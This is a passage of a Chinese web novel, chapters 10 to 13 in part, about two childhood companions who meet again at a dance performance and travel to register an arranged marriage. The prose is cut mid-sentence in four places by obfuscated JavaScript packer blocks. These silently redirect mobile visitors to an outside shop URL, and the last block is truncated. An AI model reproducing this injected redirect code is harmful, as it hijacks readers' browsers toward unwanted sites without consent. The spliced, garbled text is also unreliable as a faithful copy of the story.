他很多时候不爱明说,喜欢让明栖深去猜,以至于他一个语气,明栖深就能秒懂他的意思:“也就这段时间事多,过……两个月,差不多等订完婚,就能闲下来陪你——你知道订婚时间吗?” “知道。”凌含真说,“阿姨说过了,八月二十号。” 明栖深这才注意到:“你怎么叫她阿姨?” 凌含真淡然道:“我又不是小孩子了。” 明栖深一时间竟然说不出话来,心莫名揪了一下,一种难以言喻的酸楚感慢慢升起,如同泡久了的青橘子,酸酸胀胀的,带着些沉重的苦涩,在他心里吊着。 凌含真的确已经不是小孩子了,只是简短的一次交流,他都能感受到对方明显的变化。然而如果可以,他希望对方一直是无忧无虑的小王子,任性点,骄纵点,都没关系,只要本质是好的,他都可以无限包容。 可世事难料,孩子会长大懂事,人也会有离别和疏远。 他缄默,凌含真却忍不住开口叮嘱:“你也不要太累了,没必要那么辛苦,钱是挣不完的,身体却是有限的,倘若身体垮了,再多的钱也花不了啊。” 明栖深“……你别老是这么咒我,我应该还能活很久。” “忠言逆耳,但都是事实。”凌含真语重心长劝告,“我听说最近有个富二代花了3.5亿拍首饰送小情人,只要别像他一样败家,是花不完的。” 明栖深:“………………”他这个败家子真是无言以对。 他只能憋出一声“好”。 “我要上车了,不能再跟你说话了。”凌含真道,随即有些犹豫,“那你晚上还能给我发消息吗?” “会。” 于是那边声音又轻快起来,给了他一些切实的建议:“你可以晚上十点给我发晚安。” “好。” “早上有空的话也可以发早安。” “好。” “中午有空也要发午安。” “好。” “吃饭前最好拍张照片发给我。” “好。” 凌含真这才算满意:“那我挂了。” “挂吧。” 可并没有挂断的“嘟”声,几秒后,又是凌含真的声音:“晚上还是打电话吧,可以继续念书。” 明栖深笑:“好,还念《自然哲学》吗?” “都行。”凌含真道,“反正听不懂就睡着了。”他礼貌道别,“我上车了,再见。” “好。” 这下是真的挂断了。 明栖深让生活助理去附近的书店给他买本《自然哲学》,没有的话其他哲学书也行。 他不觉得凌含真的各种要求有什么不妥,对方显然也不觉得,毕竟跟从前相比,对方的表现已经十分礼貌和疏离了,尤其昨晚反复翻看聊天记录的时候,他有种两个刚认识的相亲对象在强行找话题的错觉。 * * * 周五一上午,明栖深陷入了前所未有的焦躁之中,随着时间的推移,这种焦躁愈发加重,然而秘书小姐已经见怪不怪,甚至十分能够理解,因为对方要求她把自己周五十一点半以后的行程都空出来,去处理私事,尽管没有明说,她还是知晓对方是要去跟那位传说中的未婚妻见面。 明栖深要结婚的消息在昨日公布了出来,引起了轩然大波。虽然以其的身份地位,完全不需要找“门当户对”的对象来对他的事业进行辅佐,一位舞蹈专业的顶级美人作为贤内助似乎正合适,然而对这两个人稍微有所了解的都清楚,简直糟糕透了。 如果是个空花瓶倒也还好,但凌含真这个人,性格孤僻、高傲、冷漠,行为挑剔,从不给人面子,和明栖深完全相反。而明栖深看似随和大度,实则心狠手辣,眼里容不得沙子,可想而知定然是无法忍受这位结婚对象的。 除此之外,他们的家庭关系也极为特殊。宋雨溪和凌含真的母亲凌秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149885|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盈是最好的手帕交,结婚生子也没影响她们之间的感情,甚至互认了干儿子,来往极其密切,然而在凌秋盈与父母遭遇飞来横祸、作为上门女婿的段成被迫接手生意后,两家的往来就起了变化。宋雨溪怀着悲恸和怜惜的心,强行将只有十一岁的凌含真接到自己身边当亲儿子养,难免忽略了真的亲儿子,以至于明栖深留学的几年几乎从未回过家,更是将“凌含真”三个字列为大忌,两个人就算幼时相识,关系也必然是势如水火,无法相容。 打听这些明面上的豪门秘辛不算难,一天之内就能总结出来。 如今明栖深羽翼尚未完全丰满,明显是受了母亲的胁迫跟厌恶的人联姻,以其睚眦必报的性子,日后定然无法忍受这种委屈的。 这是一段不被任何人看好的婚姻,爆发是迟早的事情,甚至可以说离婚是最好最和平的结果。 秘书小姐甚至有些同情这位平日十分强势的上司了,她在明栖深身边工作了两年,从未见对方有稍显亲密的红颜知己或蓝颜知己,也没任何绯闻,于感情上可谓一张白纸,如今要跟一个不熟悉甚至有过节的人结婚,想必内心也是惴惴不安,不知所措。 她以前从未听过明栖深叹气,再难处理的情况,他似乎都游刃有余,最近却每天都能听到好几次。 就比如现在,抽出几乎一天时间的明栖深却干坐在办公桌前,垂眼凝视着桌子,一动不动,已经快一个小时了。他的桌子上现在摆的不是文件,而是琳琅满目的礼物,都是他这段时间收集的。 下午一点整,秘书小姐上前提醒:“明总,一点了。” 这是明栖深要让她提醒的,他一点要准备出发去凌含真的学校观看演出,可被提醒之后,他依然未动,神情冷峻,眼眸低垂,不知道在想什么。 他突然问了一句:“他现在还喜欢这些么?” 秘书小姐愣了一下,下意识扭头,四顾后发现周遭只有他们两个人,不知道是不是在问自己,略略思索,还是谨慎回答:“人收到礼物,都是会开心的。” 明栖深问:“讨厌的人的也会吗?” 秘术想了想道:“美好的礼物也能极大缓和关系。” 明栖深平日从不会谈及私事,如今竟然展露出了烦忧的一面,让她十分惊讶,大概是真的陷入困境了。 秘书还算了解他,于是适当地给出了建议:“这枚胸针就很好,对方会感受到您的用心和真诚。” 明栖深道:“他会嫌颜色突兀刺眼。” 秘书又换了一件:“这个音乐盒也很好,古典有趣,学艺术的会喜欢。” 明栖深道:“肯定要说暗沉沉的,看着心情不好。” 秘书道:“那就手链吧,颜色明朗。” “俗气,烂大街了。” “……”她难得不知道该怎么应对。 好在明栖深也没有真询问她的意思,大概只是憋闷太久,恰好找个人排解了一下,又恢复了沉默,长长叹了口气,挑挑拣拣五分钟后离开了。 他最终什么见面礼也没带。 11.第十一章 下午一点五十五分,明栖深才迟迟踏进京舞的演出礼堂。 京舞的期末汇演除了本校学生能免费预约外,外界也能买票进入,没有vip,只有通票,前排座位先到先得,他来得这么迟,只能摸去最后排的角落了。 两点正式开始,他知道父母一定早已在前排等待,然而此时礼堂内灯光已然落下,在黑暗中没有人认出他,他一个人坐在角落里看节目单。 演出时常一个半小时,凌含真有两个节目,一个是团体舞,在半小时后,一个是独舞,在倒数第二,应该是作为压轴的。 宋雨溪给他票的时候,还感慨他这些年别说演出了,就连凌含真的面都没见过一次,无端错过许多,他当时没有否认,但事实上,他是看过的。凌含真十五岁那年要参加华塔诺国际大赛,是恢复后的第一次比赛,十分重要,宋雨溪催了他好几次要他去现场,都被他以学业为由拒绝了。然而后来,他还是买了票飞过去,在偏僻的角落和黑暗中看完了全程,在欢呼和掌声中缄默,又在结束时戴上兜帽和口罩随着人潮独自离开,无人知晓他曾经来过。 十五岁这般,二十岁亦是如此。 出生,五岁,十岁,十五岁,二十岁,他在凌含真的人生轨迹上留下了自己或明或暗的脚印,不小心就贯穿了一生。 绚烂的舞台灯光满堂流溢,前面表演了些什么,他转瞬即忘,直到凌含真的团体舞出来,才定了心神,觉得太远看不清,又拿出早已准备好的望远镜。 周围的学生明显沸腾起来,基本都在讨论凌含真的名字,他没有听真切,便被音乐声压了下去。这样的讨论在凌含真独舞时达到了顶峰,音乐和涵养都控制不住他们的好奇心和分享欲。 明栖深清楚地听见他们小声谈论凌含真性格有多古怪孤僻,连本专业的同学也鲜有私交,都是公事公办,从而衍生出他复杂的家世与突然中断的完美人生,空降的婚姻和不知哪里道听途说来的豪门秘辛,让他十分不舒服,然而在独舞开始时,这些八卦声都消失了,取而代之的是发自内心的感叹和赞美。 男性芭蕾一般更偏向肌肉协调的力量感,而凌含真的身形则纤细柔美,体态修长,并无明显的肌肉,但力量感毫不逊色他人,他最大的特点便是将力道和柔软轻盈完美糅杂在一起,像春日新抽条的鲜嫩柳枝,像云间展翅的飞鹤,像水中游弋的孔雀鱼,腰肢和四肢舞动时,便是华丽的尾鳍在水中飘摇成流光。 倘若说旁人是在练舞炫技,凌含真则是完全与舞蹈融为一体,他的表情并没有太大的变化——也不需要有什么变化,专注就是最好的阐述,他的眉眼、手指、足尖,每一处都是轻捷灵动的舞蹈,他单站在那里,就跟别人是不一样的,这种明显的差异,无需专业目光的审判,单凭外行人的肉眼就能察觉出来。 一位矜贵高傲的王子,脱离现实世界的舞中人。 于是明栖深耳畔的杂音统统消失了,除了音乐声再无人声,甚至连呼吸声都消失殆尽,直至彻底落幕,赞叹才重新爆发,好像忘了他们之前还在非议这位主角。 在绝对的美貌和实力面前,这些个人的性格缺陷与流言蜚语,都是微不足道的,相反,还会为人增添许多传奇色彩。 三点半,演出准时结束,明栖深随人潮流出,前往学校西门,这里人流量偏少,他们约好在这里见面,他打开手机,一分钟前对方给他发了消息说到了,还叫他不要急慢慢走,因为此时演出刚结束,大家都要离校,人会很多。 他放慢了些许脚步,避开拥挤的人潮。 说不紧张是假的,毕竟他们许多年没有见面了,遥遥观赏和面对面是不一样的,就像刚才,他坐在黑暗中看到对方的模样,也只是在感慨孩子长大了,完全张开了,的确漂亮得让人挪不开眼,还能寻到五分幼时的模样,但气质已经大相径庭了。可现在,随着位置的接近,他的心也在一点点吊起来,甚至觉得有些呼吸困难。 他已经许久没有过这么紧张的感觉了,尤其在见到真人的时候,他沉寂多年的心,在此刻又不受控制地剧烈跳动起来,完全吊在了嗓子眼里。 远望和见面,果然是截然不同的。 西门还是有一点人流量的,尤其是现在,正是离校时间,但凌含真很好认,他着实醒目,仿佛周身泛着光似的,叫人一眼便能在人群中瞧见他。 让明栖深拧眉的是,凌含真似乎在跟一个男生起了争执。 *** 演出结束,凌含真换完常服便要离开,礼貌拒绝了同学的聚餐邀约,他从不参加诸如此类的集体活动,同学早已习惯,邀请也只是例行问询,从未指望成功过。 他独自前往西门,站在一棵香樟树下等待,确保周围只有自己,以便于明栖深看到自己,然后给对方发了条消息。 这个时间点正好演出结束,明栖深走到这里,差不多还要几分钟,他开始调整自己的呼吸和心跳,低头看手机,尽量让自己看起来不要那么紧张,虽然他已经感觉到手脚发软,几乎要站不稳了。 眼前一暗,有人站在了他面前挡住阳光,他的心差点飞了出去,下意识抬头怔怔望着来人,一时间没有反应过来,直到对方叫了他一声,他的大脑才慢慢恢复工作,辨别出这不是明栖深,随即是巨大的失望,于是叹了口气。 “梁书航。”他想起了对方的名字,强打精神进行问候,“你来看我们的期末汇演吗?” 对方是他认识的人,甚至是他的朋友,但和他的几位发小不同,严格来说,对方其实是谢奕清的朋友,他们是通过谢奕清认识的,虽然也有十年了,但他同此人私交甚少,大部分时间只在公共场合交流来往,只是偶尔会说话的普通朋友——不过这样也很难得了,毕竟他的普通朋友也少之又少。 放在平常,看见认识的人他是会很高兴的,但此刻他的神经完全紧绷着,一点小小的动静都能让他受到惊吓,更何况一个大活人,还让他产生巨大的失望感,因此难免有些低落,这句问候就显得敷衍了。 更何况,他一直觉得对方是一个很奇怪的人,总是用一种高傲矜持又怜悯的目光看自己,比如大家一起玩游戏的时候,梁书航对别人都很正常,到了自己这边就开始别别扭扭,姿态很高,好像跟自己说句话都是施舍,让他觉得颇为不舒服,但碍于谢奕清的面子,他还是把这种不舒服压下去了。 后来他学会一个词叫“傲娇”,觉得很适合对方。 “凌含真。”梁书航比他高半截,低头望着他,目光沉沉,“你要跟明七结婚了?” 凌含真淡然“嗯”了一声,这件事是昨天公布的,对方知晓并不奇怪。 “明家太仗势欺人了。”梁书航拧紧了眉,想去抓凌含真的胳膊,但被避开了,于是脸色更沉,“我知道你是被逼的,我可以救你出去。” 凌含真愣住:“啊?” “我知道你喜欢我十年了,如今要跟明七结婚,你肯定很痛苦,但是明家太难撼动了,我也不保证能不能成功。”梁书航叹了口气,又恢复了平日对他的高傲施舍模样,“我允许你喜欢我了,你可以去跟宋夫人说,我们已经在一起很久了,她知道你有喜欢的人,不至于太为难你,我也会让我爸妈去交涉。”他顿了顿,别开眼,脸上露出一丝不自然的忸怩,“我肯定会负责的,以后……自然也会尝试着去喜欢你。” “……啊?”凌含真终于明白了对方的意思,觉得莫名其妙,“我什么时候喜欢你了?” 梁书航不由有些着急:“都什么时候了,你还在否认?” 当他看到新闻的时候,第一反应是不信,第二反应是生气和难受,凌含真暗恋他,他一直知道的,可他并不喜欢男生,再漂亮的男生也不行,更何况凌含真性格还古怪,他喜欢可爱大方的,因此对对方的频频示好视而不见,甚至觉得厌烦。可看到对方要跟别人结婚的消息时,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168472|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是难受得彻夜未眠,好像丢了什么一样失魂落魄,内心百般争斗后,他还是决定来找对方,满足对方的心愿。 毕竟凌含真那么喜欢他,他可以尝试着去接受喜欢男生,跟凌含真在一起。 凌含真无语:“我没有喜欢你。” 梁书航冷笑,开始摆事实讲道理:“你不喜欢我,小学六年级的时候,为什么要故意来跟我搭讪认识我?” 时间跨度太多久远,凌含真苦苦思索,才从记忆中搜寻到两个人的初遇,不紧不慢解释:“我不是跟你搭讪,我知道你认识豆……谢奕清,想通过你跟谢奕清说话,他当时在跟司浔吵架,不理我们任何人,我要当传话筒的。” 他的两位发小从小就爱闹得轰轰烈烈,而他跟许聆,就是两个忠实的传话筒和代言人。 梁书航愣了一下:“那……那谢奕清十六岁生日的时候,你玩游戏为什么要找我做搭档?” 凌含真道:“因为卷卷不爱动,赵言铭在发疯,我不知道找谁,点兵点将点到你了。” 梁书航深吸一口气,又吐出来,放出炸弹:“大一的时候,你特意来看我的篮球赛,还给我送饮料,你也能赖掉?” 凌含真诚恳解释:“不是去看你的,是去看谢奕清的,他跟司浔当时在冷战,司浔想去找他又拉不下脸,就让我跟卷卷也过去准备好水,他可能要用,后来他们和好了,就用不上我们了,我不喜欢喝饮料,正好只认识你,就给你了。” 沉默几秒,梁书航叹了口气,第一次用服软的语气:“别再跟我赌气,我们各退一步,好吗?以前是我不对,一直拒绝你,我现在已经想通了,我们从头开始,行吗?” 凌含真也叹了口气,这个人果然很奇怪,怎么也沟通不了。 “真羡慕你啊。”他由衷感慨,“我要是能像你这么自信就好了。” 如果他能这么自信,早就直接去找明栖深,问对方为什么不要自己了。 梁书航的眉头拧得极深,盯着凌含真,不明白为什么这么紧要的关头,对方为什么还要跟他赌气,他思考是不是自己还不够妥协,张口正欲说什么,忽然听到有人在叫凌含真的小名:“真真。” 他下意识望过去,凌含真也瞳孔骤缩,大脑瞬间空白,完全凭借本能循声而望。 这声音一直出现在电话里,以至于始终隔着朦胧的迷雾,遥远疏离,如今穿透时间和空间的阻隔,直接落在他面前,让他一时间没有真实的感觉。 他转过头,看见明栖深就在几米外朝他走来,因沐浴着阳光而耀眼夺目。 在目光交汇的时候,世界就被按了暂停键。 风,阳光,外人,一切都静止下来,沦为无关紧要的背景。 他忽然发现,近日长期盘踞的乌云和阴雨绵绵竟然散去了,取而代之的是明朗的日光,即使是下午三点多,也依旧清澈如琉璃,遍洒人间。 今天是晴天。 世界一下明亮辉煌了起来,霎时万般心绪冲入心海,翻涌不已,他全身上下每个细胞都在叫嚣,都在欢喜。 喜悦如海潮,将他完全吞没。 在很久以前,当他读拜伦的《春逝》时,读到“倘若多年以后,我再次遇见你,我会如何问候你?以眼泪和沉默”这一句,便觉心潮难平,他无数次想过,倘若有一天,他能和明栖深再次重逢,将会是怎样的场景?他们那并不体面的分别,即使历经多年的磨砺,也无法做到平静,恐怕只会有沉默和眼泪了。 然而当这一刻真正来临的时候,他才切切实实明白,不是沉默,也不是眼泪,而是欢喜。 他的彷徨,紧张,害怕,忧虑,焦躁,千百种消极的情绪,在真正见面的时候,被漫天的喜悦吞没,一点不剩。 不重要了,都不重要了。 当我再次遇见你,我会满是欢喜,唯有欢喜。 倘若非要有眼泪,那也一定是喜极而泣。 12.第十二章 下午的阳光虽然不像正午时分明亮,但也晃眼,又背着光,梁书航眯起眼才勉强能看清来人,心里本能“咯噔”一下。 他没有正式同明栖深会过面,只远远见过许多次,以前没什么感觉,可当对方的眼眸注视上自己时,他浑身的气势和怒火都瞬间被浇灭,一时间竟哑然了。 “怎么了?”明栖深走到凌含真身边,目光先是在凌含真身上停留了一秒,关切问了一句,“跟小朋友吵架了?” 他问的是凌含真,目光却转向了梁书航,那双漂亮的桃花眼的确总是含笑的,然而在对上之后,才能感受到从中流露出的上位者的审视。 他的身量很高,一过来便遮住了阳光,投下了薄薄的一层阴翳。 凌含真似乎也愣住了,抬头怔怔仰望他,没有说话,还是梁书航定定心神,强作镇静道:“没有吵架,只是有了点分歧。” 明栖深微微颔首:“有问题以后再说吧,我们还有事,先走了。”他低头,用哄小孩的温和语气跟凌含真说话,“跟你的小朋友说再见。” 他的“我们”显然说的是他跟凌含真,一声“我们”便自然而然把两个人捆在了一起,把梁书航彻底隔离成外人,让梁书航又恼怒起来。 “这是最后的机会了。”他望向凌含真,有些着急道,“你还不跟他说清楚吗?” 凌含真还没缓过神来,说话也愣愣的:“什么机会。” “你不说,我来说。”他望向明栖深,沉声道,“明总,我知道您新婚在即,春风得意,可是这么草率的婚姻,您有没有考虑过真真的感受?有没有想过,他喜欢的是别人?跟你在一起他不会幸福的。” 明栖深还没开口,凌含真大概被刺激清醒了,飞快否认:“我不喜欢别人啊。”他觉得这句话力度不够,又继续解释,“你别听他胡说,我不喜欢别人。” 梁书航叹了口气,无力和难过在他身体里渐渐蔓延,让他陷入了深深的悲伤之中——他想通了为什么。 因为家里破产,不得不屈从于明栖深这棵大树,只能讨好对方,所以连十年的爱意也要隐藏,不能被发现。而他也不得不面临这个现实的问题:明栖深能给的他给不了,更没法得罪明栖深。 他到底没有把凌含真暗恋自己十年这个秘密捅出来,只能伪装成朋友的关心和不平,直直和明栖深对视,微微咬牙切齿,一字一顿道:“没有感情的婚姻绝不会长久,我等着看到你们离婚的新闻。” 凌含真瞪大了眼,不可思议地望向他,这人有臆想症难以沟通就算了,竟然还诅咒他做梦都不敢想过的婚姻! 他着急又生气,正要辩驳,却听见明栖深一声轻笑:“哦,那你就等着吧。” 他的笑算不上讥讽和轻屑,更像是大人听到小孩的童言稚语后的笑,漫不经心的、随意的,后面跟着的那句话,更是充满敷衍意味的诱哄,仿佛根本没有放在心上,毕竟连对方是谁他都懒得过问。 凌含真的心蓦然就放松了,随即被说不出的畅快和愉悦浇遍全身。 “走吧小王子。”明栖深敷衍完,便不紧不慢转过身,右手朝后微微抬起,“太晚了就赶不上时间了。” 这是个等待牵手的动作,凌含真再熟悉不过,在很久以前,明栖深就是这样等着他牵上来,带着他四处玩耍。 太过熟悉的身体记忆会刻入骨髓,早早苏醒,或许就连明栖深自己都没有察觉到,只是依靠本能下意识做了这个举动。 难得有轻快的笑容在他脸上绽放,他像个得到了大人撑腰的小孩,在抓住明栖深手的一刻,又扭过头得意洋洋地朝梁书航重复了一遍明栖深的话:“那你就等着吧。” 虽然是同样的话,但两个人的语气差异很大,一个是大人的敷衍散漫,一个是孩童幼稚得意的学舌,让他仿佛回到许多年前,他就是这样巴巴儿跟在明栖深身后四处捣乱的。 他极少有这么轻快活泼的语调,和平日的形象截然不同,以至于梁书航愣在了原地,路过的同学也频频侧目,惊讶地望向他,毕竟学校大部分人都认识他,从未见过他这般模样。 明栖深轻轻握住了他递过去的手,于是他顿时什么也不管,什么也不想了,像只刚出笼的小鸟,快乐得要飞起来,眼里只有明栖深。 他顺从地跟随着对方,也不知道要去哪里,只是全心全意跟着,他能感受到那只包着自己的手也并不是自然的,而是十分小心地握着,不敢用力道,也不敢太放松,好像握着一只易碎的宝贝,竟不知该如何对待了,就如同他此刻一般,手不敢动弹一下,生怕稍微动一下,就会惊走梦幻的小鸟。 他的确觉得实在太梦幻了,从见到明栖深的那一刻,他就觉得自己是在做梦,踩在软绵绵的云端,轻飘飘晕乎乎的,这个梦太美,以至于他不愿意清醒,直到他被明栖深握着手,对方掌心的温度一点点传递到他的手背上,他才慢慢有了真实的感觉。 不是在做梦,他真的见到明栖深了,甚至跟对方在牵着手。 他不知道这是一个主动破冰的信号,还是出于本能和礼貌,抑或是为了在外人面前表现出这场婚姻的和谐,但无论如何,他们此时,的确是牵着手的。 明栖深甚至还像小时候一样,叫他“小王子”。 他甚至没来得及仔细看对方的脸,确切来说,他最后一次见到对方,对方才十八岁,十八岁的明栖深差不多已经长成了,和现在在眉眼五官上没有太大差异,却又有明显的差异,少年人的青涩和柔软已经被时光磨砺殆尽,取而代之的是更为锋利的线条,更成熟的俊美,如同经年沉淀过的酒,别样醉人。 虽然所有人都在赞美他的外貌,可他一直觉得,明栖深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183381|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才是最好看的,无论哪个时期,都让他深深着迷,舍不得移开眼。 他一点点回味着,品析着,怎么都克制不住自己弯起的眉眼,心跳也在恢复和加剧,他又开始紧张起来,慌得喉咙发干,身体发软,很快就站到了一辆白色迈巴赫,是明栖深停靠在西门附近的车。 明栖深松开了他的手,为他打开副驾驶的门,声音温和:“现在还不怎么堵车,四十多分钟就能到。” 凌含真才想起来他们见面后到现在都没有说过话,可他实在不知道该说什么,明明心像翱翔的小鸟一样快乐,言语系统却被干扰了,只能干巴巴憋出一声“嗯”,接着绞尽脑汁,才想起来叫对方:“小……” 他才开口一个字就噤声,因为觉得这么大了还那么喊实在幼稚,于是最后只轻轻叫了一声“哥”。 这是一个通用的称呼,不疏不亲,少年成年皆宜,十分得体。 明栖深一顿,没有看他,只保持着开车门的动作,然而语气明显淡了下来:“嗯。” 凌含真又觉得心慌了,慌张和快乐冲击在一起,让他人都是晕头转向的,如同没了灵魂的躯壳,只是顺着别人的要求被摆布,明栖深给他开了副驾驶的车门,他就顺从着坐了上去;明栖深坐上驾驶座为他系安全带,近得能够感受到对方的呼吸,他就大脑一片空白,一动不敢动了。 车子发动后,他注视着前方的路径,才觉得心口一紧,渐渐难以呼吸,恐惧和难受如同涨潮的海水,从容朝他席卷而来,他难受得捂住心口,这才意识到自己坐的是副驾驶,没有戴耳机,也没有戴眼罩,只能闭上眼睛,暂时得到了缓解,然而潜意识还是明白自己坐在车上,只要一睁开眼,前方的视野就能化为钢管利刃,刺穿他的双眼。 他想去摸自己的书包,找自己的眼罩和耳机,可胸闷心慌,呼吸困难,连动作也迟缓生疏,根本做不到。 明栖深似乎也不知道该说什么,又不想只有两个人的空间里太安静,于是放了音乐,让舒缓的怀旧金曲流淌起来,没有那么尴尬。因为紧张,他的思维也受到了局限,大脑仿佛生了锈,好半天才开口起了头,打破沉默:“领完证之后,回家吃个饭?” 他说完,没有得到回应,觉得奇怪,便侧过脸,看见凌含真在发抖,状态极其不对劲,几乎想也没想,急忙把车停在了路边。 他飞快下了车,打开副驾驶,看见凌含真双目紧闭,脸色煞白,瞬间心如刀割,什么也顾不上,把人半抱起来:“宝宝?!” 纵使他对凌含真有诸多消极抵触的情绪和千百种复杂的情感,在这一刻,也通通化为泡沫,只剩下心疼。 心疼如同尖锐的箭,轻而易举刺穿了情绪的灰网,打败了所有的明与暗,骄傲地独自屹立着。 这是他带大的孩子,他还是会心疼,他怎么能不心疼。 13.第十三章 凌含真坐在车后座,握着明栖深递过来的矿泉水,小口小口抿着,感受着清凉的水流缓缓流淌进喉咙,滋润全身,才觉得好受了许多,苍白的脸上也恢复了些许血色。 “好点了吗?”明栖深坐在他身边,担忧地观察他,“要不要去医院?” 他说着伸手想去握凌含真的手,刚举起又顿住,硬生生缩了回去。 凌含真还有些难受,没有注意到他这个动作,听他这么问,连忙摇头:“不用不用,只是有点晕车而已。” “这叫有点。”明栖深的语气不大好,“我都快吓……” 他察觉到自己语调有点冲,说到一半停住,转为叹息:“怎么不跟我说一声?” 凌含真低头垂眼,内疚地扭着矿泉水瓶,小声道:“对不起,我忘了。” 他不知道该怎么跟对方解释,难道要说太紧张太激动以至于变成傻子了吗?那也太丢脸了。 这个动作,让明栖深不由想起他经常给自己发的委屈八字眉对手指黄豆小人表情,可怜又可爱,于是心就塌陷下去一块,迅速变得柔软起来。 若是放在以前,他早已理直气壮反驳怎么能怪他,还会因明栖深稍显苛责的语气生气,再也不说一个字,现在不但不发一点脾气,还会直接道歉,确实是长大了。 明栖深应该要感到欣慰的,可是欣慰没有多少,反倒心里泛起了酸楚,在隐隐发疼。 “没有怪你,怪我。”他放轻声音,“是我没有提前问周全。”又道,“司机很快就过来了,不能坐车的话,我们出去走一会儿。” 他前几天中午跟凌含真打电话的时候,对方挂断的理由都是要上车了,他就没有注意过,现在也不确定了。 一开始他想着这是两个人的私密事,不想有第三个人在场,就自己开车过来的,更何况一个人开车有事做也好过两个人相对无言,满地尴尬,现在又后悔起来——他可以早点发现异样的。 “可以坐,真没那么严重。”凌含真解释,“只要戴眼罩和耳机,看不到听不到就好了。” 明栖深道:“我现在去买。” “我带了。”凌含真开始翻自己的书包,“刚才忘了拿。” 他拿出耳机和眼罩,又担忧问:“民政局下班了吗?现在还来得及吗?” “五点半下班,还有一个半小时,来得及。”明栖深安抚他,“没事,大不了周一再去领。” 凌含真严肃道:“那不行,可不能错过了好日子。” 明栖深笑:“行,都听你的。” 司机还没有来,凌含真低头玩自己的眼罩,有点纠结要不要现在就戴好,便听见明栖深问他:“还有没有其他地方不舒服的?” 他犹豫着,慢吞吞道:“还有点……晕血。”说完又立刻补充,“不过平时见不到血,所以可以忽略。” 明栖深沉默了一下,才低声道:“我知道了。” 凌含真又继续玩眼罩,营造出一种自己很忙的假象。 好在没过几分钟,司机来了,他松了口气,戴好自己的眼罩和耳机,播放熟悉的歌单,总算安下心来。 明栖深关了音乐,立起车后排的隔板,让空间隐蔽而舒适,然后坐在了他身边,坐得极近,近得两个人是挨在一起的,身体的温度透过薄薄的衣料互相浸染。 黑暗中的其他感官会更加敏感,周围的一举一动都被放大无数倍,凌含真又开始紧张起来,身体不受控制地僵硬住,心跳十分混乱。 车里和明栖深身上都是干干净净的,没有香水味,只有冷气能稍微降低一些温度,使得身体的温度不会显得那么异常。他的注意力完全落在了外界上,能感受到明栖深的身体也有些不自在,似乎挨着他是一件极其不舒服的事情,但还是在忍耐着,胳膊移动了好几次,抬起又落下,大概是在调整姿势。 他还能感受到,明栖深的目光一直停留在他脸上,专注得有如实质,他看不到,更不知道对方在想什么,只能一动不敢动,不敢有任何表情,甚至呼吸都小心翼翼,最后只能靠在后座,假装自己睡着了。 明栖深的手又抬起缩回两三次,最后似乎终于下定了决心,轻轻覆在他交叠在双腿上的手上,让他呼吸一窒,心差点飞出了喉咙。 片刻后,那只手又放开了,落在了他的胳膊上,把他的人往身侧拢了拢,替他调整了姿势,让他靠在自己肩膀上。 凌含真大气不敢出,像个真正睡着的人一样被任意摆布着。 明栖深大概还在把他当小孩一样对待,尽管俩人间有巨大隔阂,但年少时积攒的情谊,终究会在心底留下烙印,尚存一些余温,纵然有再多的厌恶,也会因岁月的流逝而淡化许多。 他应该是喜悦的,喜悦他们尚有余温,然而更多的是酸楚,心酸再也回不去从前,变成了矜持礼貌、表面和谐、只能小心翼翼互相试探的陌生人了。 他靠着明栖深的肩,精神一直紧绷着,很难不胡思乱想,只觉这段路尤其漫长,长得好像没有尽头,尤其明栖深的目光一直在他脸上,似乎就没有移开过,更是觉得煎熬,倒不如刚才一头晕过去晕一路算了。 也不知道过了多久,车终于停下,明栖深轻轻捏了捏他的手,叫了他一声:“真真,到了。” 一路的煎熬终于到了尽头,凌含真心落了地,假装从沉睡中醒来,微微动了动,取下眼罩和耳机,睁开惺忪的睡眼,迷迷糊糊问:“到了?” 明栖深“嗯”了一声,观察他的神色:“还难受吗?” 凌含真摇摇头,他这才放下心来,下了车,在车边伸出了手。 凌含真愣了一下,递出自己的手,被他稳稳握住。 他似乎是想把人抱下车,又很快反应过来对方已经不是小小一团的孩童了,到底没有犯这个傻。 今天不是什么特殊日子,来□□的人很少,还有五十分钟,足够办完手续了。 凌含真被牵着手往民政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 